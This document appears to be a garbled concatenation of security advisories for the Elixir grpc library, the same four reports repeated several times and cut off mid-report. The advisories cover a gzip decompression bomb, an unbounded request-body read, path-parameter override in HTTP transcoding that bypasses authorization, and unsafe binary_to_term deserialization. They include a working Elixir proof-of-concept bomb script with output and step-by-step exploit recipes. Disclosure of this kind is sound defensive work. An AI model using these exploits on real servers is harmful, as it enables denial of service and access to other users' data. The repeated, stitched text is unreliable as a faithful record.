A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

